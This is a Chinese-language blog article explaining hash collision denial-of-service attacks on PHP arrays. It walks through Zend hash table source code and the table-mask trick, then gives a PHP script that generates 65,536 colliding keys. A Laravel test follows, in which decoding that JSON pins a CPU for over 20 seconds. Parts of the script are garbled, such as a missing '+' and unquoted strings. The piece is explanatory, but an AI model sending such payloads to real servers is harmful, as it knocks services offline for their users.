PHP Hash Collision攻擊理

PHP Hash Collision攻擊理
1 Star2 Stars3 Stars4 Stars5 Stars 給文章打分!
Loading...

之前介紹了所有語言通用的Hash Collision攻擊原理 一種高階的DoS攻擊-Hash碰撞攻擊 ,介紹的比較寬泛。因為Java相關的Hash Collision文章比較少,所以最先寫了Java的攻擊原理 Java Hash Collision之資料生產

網上關於PHP Hash Collision的文章特別多,得益於很多年前鳥哥的一篇文章 PHP陣列的Hash衝突例項,因為這篇文章讓行業內的PHPer們都願意花時間去了解。

雜湊表是一種查詢效率極高的資料結構,PHP中的雜湊表用於表示Array資料型別,在Zend虛擬機器內部也用於儲存上下文環境資訊(執行上下文的變數及函式均使用雜湊表結構儲存)。

理想情況下雜湊表插入和查詢操作的時間複雜度均為O(1),任何一個資料項可以在一個與雜湊表長度無關的時間內計算出一個雜湊值(key),然後在常量時間內定位到一個桶(術語bucket,表示雜湊表中的一個位置)。當然這是理想情況下,因為任何雜湊表的長度都是有限的,所以一定存在不同的資料項具有相同雜湊值的情況,此時不同資料項被定為到同一個桶,稱為碰撞(collision)。雜湊表的實現需要解決碰撞問題,碰撞解決大體有兩種思路,第一種是根據某種原則將被碰撞資料定為到其它桶,例如線性探測——如果資料在插入時發生了碰撞,則順序查詢這個桶後面的桶,將其放入第一個沒有被使用的桶;第二種策略是每個桶不是一個只能容納單個資料項的位置,而是一個可容納多個資料的資料結構(例如連結串列或紅黑樹),所有碰撞的資料以某種資料結構的形式組織起來。

不論使用了哪種碰撞解決策略,都導致插入和查詢操作的時間複雜度不再是O(1)。以查詢為例,不能通過key定位到桶就結束,必須還要比較原始key(即未做雜湊之前的key)是否相等,如果不相等,則要使用與插入相同的演算法繼續查詢,直到找到匹配的值或確認資料不在雜湊表中。

PHP是使用單連結串列儲存碰撞的資料,因此實際上PHP雜湊表的平均查詢複雜度為O(L),其中L為桶連結串列的平均長度;而最壞複雜度為O(N),此時所有資料全部碰撞,雜湊表退化成單連結串列。雜湊表結構如下圖

Hash Collition

Hash Function也叫雜湊雜湊函式,通過雜湊函式我們能將各種型別的key轉換為有限空間內的一個記憶體地址。常見的雜湊函式有MD5,SHA*。不過HashTable中基本不會用MD5,SHA*演算法,因為這兩類演算法太耗時,基本所有的程式語言都會選擇Times*型別演算法,比如Times31,times33,times37。Java使用的Hash演算法為Times31,PHP使用的Hash演算法為times33……

一. PHP Hash function實現

PHP HashTable的雜湊演算法如下:

hash(key)=key & nTableMask

即簡單將資料的原始key與HashTable的nTableMask進行按位與即可。如果原始key為字串,則首先使用Times33演算法將字串轉為整形再與nTableMask按位與。

hash(strkey)=time33(strkey) & nTableMask

下面是Zend原始碼中查詢雜湊表的程式碼:

ZEND_API int zend_hash_index_find(const HashTable *ht, ulong h, void **pData)
{
uint nIndex;
Bucket *p;
IS_CONSISTENT(ht);
//獲取索引
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && (p->nKeyLength == 0)) {
*pData = p->pData;
return SUCCESS;
}
p = p->pNext;
}
return FAILURE;
}
//用於查詢字串key 
ZEND_API int zend_hash_find(const HashTable *ht, const char *arKey, uint nKeyLength, void **pData)
{
ulong h;
uint nIndex;
Bucket *p;
IS_CONSISTENT(ht);
h = zend_inline_hash_func(arKey, nKeyLength);
//獲取索引
nIndex = h & ht->nTableMask;
p = ht->arBuckets[nIndex];
while (p != NULL) {
if ((p->h == h) && (p->nKeyLength == nKeyLength)) {
if (!memcmp(p->arKey, arKey, nKeyLength)) {
*pData = p->pData;
return SUCCESS;
}
}
p = p->pNext;
}
return FAILURE;
}

二. 通過PHP zend_hash_index_find函式實現逆推

知道了PHP內部雜湊表的演算法,就可以利用其原理構造用於攻擊的資料。一種最簡單的方法是利用掩碼規律製造碰撞。上文提到Zend HashTable的長度nTableSize會被圓整為2的整數次冪,假設我們構造一個2^16的雜湊表,則nTableSize的二進位制表示為:1 0000 0000 0000 0000,而nTableMask = nTableSize – 1為:0 1111 1111 1111 1111。接下來,可以以0為初始值,以2^16為步長,製造足夠多的資料,可以得到如下推測:

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

……

概況來說只要保證後16位均為0,則與掩碼位於後得到的雜湊值全部碰撞在位置0。

三. 通過指令碼批量產出碰撞資料

如上我們已經推算出碰撞資料的實現方式,接下來我通過PHP生成碰撞資料。如果要生成大量的碰撞資料,這裡最好不要使用PHP來生成,因為操作不當就會變成攻擊自己的指令碼。

$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$maxKey = ($size - 1) * $size;
$startTime = microtime(true);
$array = [];
for ($key = 0; $key <= $maxKey; $key  = $size) {
$array[$key] = 0;
}
file_put_contents("t.log",json_encode($array));
$endTime = microtime(true);
echo Inserting , $size,  evil elements took , $endTime - $startTime,  seconds, "
";

最後我們生成了如下資料(擷取了前面幾條):

JavaScript

{
"0":0,
"65536":0,
"131072":0,
"196608":0,
"262144":0,
"327680":0,
"393216":0,
"458752":0,
"524288":0,
"589824":0,
"655360":0,
"720896":0
}

四. 在PHP中測試碰撞資料

通過程式我們生成了65536條碰撞資料,然後在Laravel中做個簡單的測試,測試程式碼如下:

PHP

public function posts(){
$startTime = microtime(true);
//獲取http body中的資料
$rest = $this->request->getContent();
json_decode($rest,true);
$endTime = microtime(true);
echo  evil elements took , $endTime - $startTime,  seconds, "
";
}

測試結果,一個CPU被打到100%,持續了20多秒。結束該php-fpm程序後恢復。

程式語言 最新文章